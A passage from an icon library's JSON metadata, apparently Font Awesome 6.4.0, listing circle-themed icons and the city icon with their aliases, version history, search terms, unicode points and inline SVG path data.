        "path": "M418.4 157.9c35.3-8.3 61.6-40 61.6-77.9c0-44.2-35.8-80-80-80c-43.4 0-78.7 34.5-80 77.5L136.2 151.1C121.7 136.8 101.9 128 80 128c-44.2 0-80 35.8-80 80s35.8 80 80 80c12.2 0 23.8-2.7 34.1-7.6L259.7 407.8c-2.4 7.6-3.7 15.8-3.7 24.2c0 44.2 35.8 80 80 80s80-35.8 80-80c0-27.7-14-52.1-35.4-66.4l37.8-207.7zM156.3 232.2c2.2-6.9 3.5-14.2 3.7-21.7l183.8-73.5c3.6 3.5 7.4 6.7 11.6 9.5L317.6 354.1c-5.5 1.3-10.8 3.1-15.8 5.5L156.3 232.2z"
      }
    },
    "free": ["solid"]
  },
  "circle-notch": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1ce"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "circle-o-notch",
        "diameter",
        "dot",
        "ellipse",
        "round",
        "spinner"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1ce",
    "label": "Circle Notch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M222.7 32.1c5 16.9-4.6 34.8-21.5 39.8C121.8 95.6 64 169.1 64 256c0 106 86 192 192 192s192-86 192-192c0-86.9-57.8-160.4-137.1-184.1c-16.9-5-26.6-22.9-21.5-39.8s22.9-26.6 39.8-21.5C434.9 42.1 512 140 512 256c0 141.4-114.6 256-256 256S0 397.4 0 256C0 140 77.1 42.1 182.9 10.6c16.9-5 34.8 4.6 39.8 21.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M222.7 32.1c5 16.9-4.6 34.8-21.5 39.8C121.8 95.6 64 169.1 64 256c0 106 86 192 192 192s192-86 192-192c0-86.9-57.8-160.4-137.1-184.1c-16.9-5-26.6-22.9-21.5-39.8s22.9-26.6 39.8-21.5C434.9 42.1 512 140 512 256c0 141.4-114.6 256-256 256S0 397.4 0 256C0 140 77.1 42.1 182.9 10.6c16.9-5 34.8 4.6 39.8 21.5z"
      }
    },
    "free": ["solid"]
  },
  "circle-pause": {
    "aliases": {
      "names": ["pause-circle"],
      "unicodes": {
        "composite": ["f28c"],
        "secondary": ["10f28b"]
      }
    },
    "changes": ["4.5.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["hold", "wait"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f28b",
    "label": "Circle Pause",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM224 192V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM224 192V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32s32 14.3 32 32zm128 0V320c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      },
      "regular": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm224-72V328c0 13.3-10.7 24-24 24s-24-10.7-24-24V184c0-13.3 10.7-24 24-24s24 10.7 24 24zm112 0V328c0 13.3-10.7 24-24 24s-24-10.7-24-24V184c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm224-72V328c0 13.3-10.7 24-24 24s-24-10.7-24-24V184c0-13.3 10.7-24 24-24s24 10.7 24 24zm112 0V328c0 13.3-10.7 24-24 24s-24-10.7-24-24V184c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-play": {
    "aliases": {
      "names": ["play-circle"],
      "unicodes": {
        "composite": ["f01d"],
        "secondary": ["10f144"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["audio", "music", "playing", "sound", "start", "video"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f144",
    "label": "Circle Play",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM188.3 147.1c-7.6 4.2-12.3 12.3-12.3 20.9V344c0 8.7 4.7 16.7 12.3 20.9s16.8 4.1 24.3-.5l144-88c7.1-4.4 11.5-12.1 11.5-20.5s-4.4-16.1-11.5-20.5l-144-88c-7.4-4.5-16.7-4.7-24.3-.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM188.3 147.1c-7.6 4.2-12.3 12.3-12.3 20.9V344c0 8.7 4.7 16.7 12.3 20.9s16.8 4.1 24.3-.5l144-88c7.1-4.4 11.5-12.1 11.5-20.5s-4.4-16.1-11.5-20.5l-144-88c-7.4-4.5-16.7-4.7-24.3-.5z"
      },
      "regular": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM188.3 147.1c7.6-4.2 16.8-4.1 24.3 .5l144 88c7.1 4.4 11.5 12.1 11.5 20.5s-4.4 16.1-11.5 20.5l-144 88c-7.4 4.5-16.7 4.7-24.3 .5s-12.3-12.2-12.3-20.9V168c0-8.7 4.7-16.7 12.3-20.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM188.3 147.1c7.6-4.2 16.8-4.1 24.3 .5l144 88c7.1 4.4 11.5 12.1 11.5 20.5s-4.4 16.1-11.5 20.5l-144 88c-7.4 4.5-16.7 4.7-24.3 .5s-12.3-12.2-12.3-20.9V168c0-8.7 4.7-16.7 12.3-20.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-plus": {
    "aliases": {
      "names": ["plus-circle"],
      "unicodes": {
        "secondary": ["10f055"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["add", "create", "expand", "new", "positive", "shape"]
    },
    "styles": ["solid"],
    "unicode": "f055",
    "label": "Circle Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM232 344V280H168c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM232 344V280H168c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z"
      }
    },
    "free": ["solid"]
  },
  "circle-question": {
    "aliases": {
      "names": ["question-circle"],
      "unicodes": {
        "composite": ["f29c"],
        "secondary": ["10f059"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["help", "information", "support", "unknown"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f059",
    "label": "Circle Question",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM169.8 165.3c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L280 264.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V250.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H222.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM169.8 165.3c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L280 264.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V250.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H222.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      },
      "regular": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm169.8-90.7c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L280 264.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V250.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H222.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm169.8-90.7c7.9-22.3 29.1-37.3 52.8-37.3h58.3c34.9 0 63.1 28.3 63.1 63.1c0 22.6-12.1 43.5-31.7 54.8L280 264.4c-.2 13-10.9 23.6-24 23.6c-13.3 0-24-10.7-24-24V250.5c0-8.6 4.6-16.5 12.1-20.8l44.3-25.4c4.7-2.7 7.6-7.7 7.6-13.1c0-8.4-6.8-15.1-15.1-15.1H222.6c-3.4 0-6.4 2.1-7.5 5.3l-.4 1.2c-4.4 12.5-18.2 19-30.6 14.6s-19-18.2-14.6-30.6l.4-1.2zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-radiation": {
    "aliases": {
      "names": ["radiation-alt"],
      "unicodes": {
        "composite": ["2622"],
        "secondary": ["10f7ba"]
      }
    },
    "changes": [
      "5.6.0",
      "5.8.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "danger",
        "dangerous",
        "deadly",
        "hazard",
        "nuclear",
        "radioactive",
        "sign",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7ba",
    "label": "Circle Radiation",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 64a192 192 0 1 1 0 384 192 192 0 1 1 0-384zm0 448A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM200 256c0-20.7 11.3-38.8 28-48.5l-36-62.3c-8.8-15.3-28.7-20.8-42-9c-25.6 22.6-43.9 53.3-50.9 88.1C95.7 241.5 110.3 256 128 256l72 0zm28 48.5l-36 62.4c-8.8 15.3-3.6 35.2 13.1 40.8c16 5.4 33.1 8.3 50.9 8.3s34.9-2.9 50.9-8.3c16.7-5.6 21.9-25.5 13.1-40.8l-36-62.4c-8.2 4.8-17.8 7.5-28 7.5s-19.8-2.7-28-7.5zM312 256l72 0c17.7 0 32.3-14.5 28.8-31.8c-7-34.8-25.3-65.5-50.9-88.1c-13.2-11.7-33.1-6.3-42 9l-36 62.3c16.7 9.7 28 27.8 28 48.5zm-56 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 64a192 192 0 1 1 0 384 192 192 0 1 1 0-384zm0 448A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM200 256c0-20.7 11.3-38.8 28-48.5l-36-62.3c-8.8-15.3-28.7-20.8-42-9c-25.6 22.6-43.9 53.3-50.9 88.1C95.7 241.5 110.3 256 128 256l72 0zm28 48.5l-36 62.4c-8.8 15.3-3.6 35.2 13.1 40.8c16 5.4 33.1 8.3 50.9 8.3s34.9-2.9 50.9-8.3c16.7-5.6 21.9-25.5 13.1-40.8l-36-62.4c-8.2 4.8-17.8 7.5-28 7.5s-19.8-2.7-28-7.5zM312 256l72 0c17.7 0 32.3-14.5 28.8-31.8c-7-34.8-25.3-65.5-50.9-88.1c-13.2-11.7-33.1-6.3-42 9l-36 62.3c16.7 9.7 28 27.8 28 48.5zm-56 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "circle-right": {
    "aliases": {
      "names": ["arrow-alt-circle-right"],
      "unicodes": {
        "composite": ["f18e"],
        "secondary": ["10f35a"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow-circle-o-right", "forward", "next"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f35a",
    "label": "Circle Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM294.6 135.1l99.9 107.1c3.5 3.8 5.5 8.7 5.5 13.8s-2 10.1-5.5 13.8L294.6 376.9c-4.2 4.5-10.1 7.1-16.3 7.1C266 384 256 374 256 361.7l0-57.7-96 0c-17.7 0-32-14.3-32-32l0-32c0-17.7 14.3-32 32-32l96 0 0-57.7c0-12.3 10-22.3 22.3-22.3c6.2 0 12.1 2.6 16.3 7.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM294.6 135.1l99.9 107.1c3.5 3.8 5.5 8.7 5.5 13.8s-2 10.1-5.5 13.8L294.6 376.9c-4.2 4.5-10.1 7.1-16.3 7.1C266 384 256 374 256 361.7l0-57.7-96 0c-17.7 0-32-14.3-32-32l0-32c0-17.7 14.3-32 32-32l96 0 0-57.7c0-12.3 10-22.3 22.3-22.3c6.2 0 12.1 2.6 16.3 7.1z"
      },
      "regular": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM294.6 135.1c-4.2-4.5-10.1-7.1-16.3-7.1C266 128 256 138 256 150.3V208H160c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32h96v57.7c0 12.3 10 22.3 22.3 22.3c6.2 0 12.1-2.6 16.3-7.1l99.9-107.1c3.5-3.8 5.5-8.7 5.5-13.8s-2-10.1-5.5-13.8L294.6 135.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 1 48 256a208 208 0 1 1 416 0zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM294.6 135.1c-4.2-4.5-10.1-7.1-16.3-7.1C266 128 256 138 256 150.3V208H160c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32h96v57.7c0 12.3 10 22.3 22.3 22.3c6.2 0 12.1-2.6 16.3-7.1l99.9-107.1c3.5-3.8 5.5-8.7 5.5-13.8s-2-10.1-5.5-13.8L294.6 135.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-stop": {
    "aliases": {
      "names": ["stop-circle"],
      "unicodes": {
        "composite": ["f28e"],
        "secondary": ["10f28d"]
      }
    },
    "changes": ["4.5.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["block", "box", "circle", "square"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f28d",
    "label": "Circle Stop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM192 160H320c17.7 0 32 14.3 32 32V320c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM192 160H320c17.7 0 32 14.3 32 32V320c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z"
      },
      "regular": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm192-96H320c17.7 0 32 14.3 32 32V320c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm192-96H320c17.7 0 32 14.3 32 32V320c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-up": {
    "aliases": {
      "names": ["arrow-alt-circle-up"],
      "unicodes": {
        "composite": ["f01b"],
        "secondary": ["10f35b"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow-circle-o-up"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f35b",
    "label": "Circle Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM135.1 217.4l107.1-99.9c3.8-3.5 8.7-5.5 13.8-5.5s10.1 2 13.8 5.5l107.1 99.9c4.5 4.2 7.1 10.1 7.1 16.3c0 12.3-10 22.3-22.3 22.3H304v96c0 17.7-14.3 32-32 32H240c-17.7 0-32-14.3-32-32V256H150.3C138 256 128 246 128 233.7c0-6.2 2.6-12.1 7.1-16.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM135.1 217.4l107.1-99.9c3.8-3.5 8.7-5.5 13.8-5.5s10.1 2 13.8 5.5l107.1 99.9c4.5 4.2 7.1 10.1 7.1 16.3c0 12.3-10 22.3-22.3 22.3H304v96c0 17.7-14.3 32-32 32H240c-17.7 0-32-14.3-32-32V256H150.3C138 256 128 246 128 233.7c0-6.2 2.6-12.1 7.1-16.3z"
      },
      "regular": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM135.1 217.4c-4.5 4.2-7.1 10.1-7.1 16.3c0 12.3 10 22.3 22.3 22.3H208v96c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V256h57.7c12.3 0 22.3-10 22.3-22.3c0-6.2-2.6-12.1-7.1-16.3L269.8 117.5c-3.8-3.5-8.7-5.5-13.8-5.5s-10.1 2-13.8 5.5L135.1 217.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM135.1 217.4c-4.5 4.2-7.1 10.1-7.1 16.3c0 12.3 10 22.3 22.3 22.3H208v96c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V256h57.7c12.3 0 22.3-10 22.3-22.3c0-6.2-2.6-12.1-7.1-16.3L269.8 117.5c-3.8-3.5-8.7-5.5-13.8-5.5s-10.1 2-13.8 5.5L135.1 217.4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-user": {
    "aliases": {
      "names": ["user-circle"],
      "unicodes": {
        "composite": ["f2be"],
        "secondary": ["10f2bd"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2bd",
    "label": "Circle User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M399 384.2C376.9 345.8 335.4 320 288 320H224c-47.4 0-88.9 25.8-111 64.2c35.2 39.2 86.2 63.8 143 63.8s107.8-24.7 143-63.8zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 16a72 72 0 1 0 0-144 72 72 0 1 0 0 144z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M399 384.2C376.9 345.8 335.4 320 288 320H224c-47.4 0-88.9 25.8-111 64.2c35.2 39.2 86.2 63.8 143 63.8s107.8-24.7 143-63.8zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 16a72 72 0 1 0 0-144 72 72 0 1 0 0 144z"
      },
      "regular": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M406.5 399.6C387.4 352.9 341.5 320 288 320H224c-53.5 0-99.4 32.9-118.5 79.6C69.9 362.2 48 311.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 55.7-21.9 106.2-57.5 143.6zm-40.1 32.7C334.4 452.4 296.6 464 256 464s-78.4-11.6-110.5-31.7c7.3-36.7 39.7-64.3 78.5-64.3h64c38.8 0 71.2 27.6 78.5 64.3zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-272a40 40 0 1 1 0-80 40 40 0 1 1 0 80zm-88-40a88 88 0 1 0 176 0 88 88 0 1 0 -176 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M406.5 399.6C387.4 352.9 341.5 320 288 320H224c-53.5 0-99.4 32.9-118.5 79.6C69.9 362.2 48 311.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 55.7-21.9 106.2-57.5 143.6zm-40.1 32.7C334.4 452.4 296.6 464 256 464s-78.4-11.6-110.5-31.7c7.3-36.7 39.7-64.3 78.5-64.3h64c38.8 0 71.2 27.6 78.5 64.3zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm0-272a40 40 0 1 1 0-80 40 40 0 1 1 0 80zm-88-40a88 88 0 1 0 176 0 88 88 0 1 0 -176 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "circle-xmark": {
    "aliases": {
      "names": ["times-circle", "xmark-circle"],
      "unicodes": {
        "composite": ["f05c"],
        "secondary": ["10f057"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "close",
        "cross",
        "destroy",
        "exit",
        "incorrect",
        "notice",
        "notification",
        "notify",
        "problem",
        "wrong",
        "x"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f057",
    "label": "Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM175 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM175 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      },
      "regular": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM175 175c-9.4 9.4-9.4 24.6 0 33.9l47 47-47 47c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l47-47 47 47c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-47-47 47-47c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-47 47-47-47c-9.4-9.4-24.6-9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM175 175c-9.4 9.4-9.4 24.6 0 33.9l47 47-47 47c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l47-47 47 47c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-47-47 47-47c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-47 47-47-47c-9.4-9.4-24.6-9.4-33.9 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "city": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3d9"],
        "secondary": ["10f64f"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buildings",
        "busy",
        "city",
        "cityscape",
        "skyscrapers",
        "urban",
        "windows"
      ]
    },
    "styles": ["solid"],
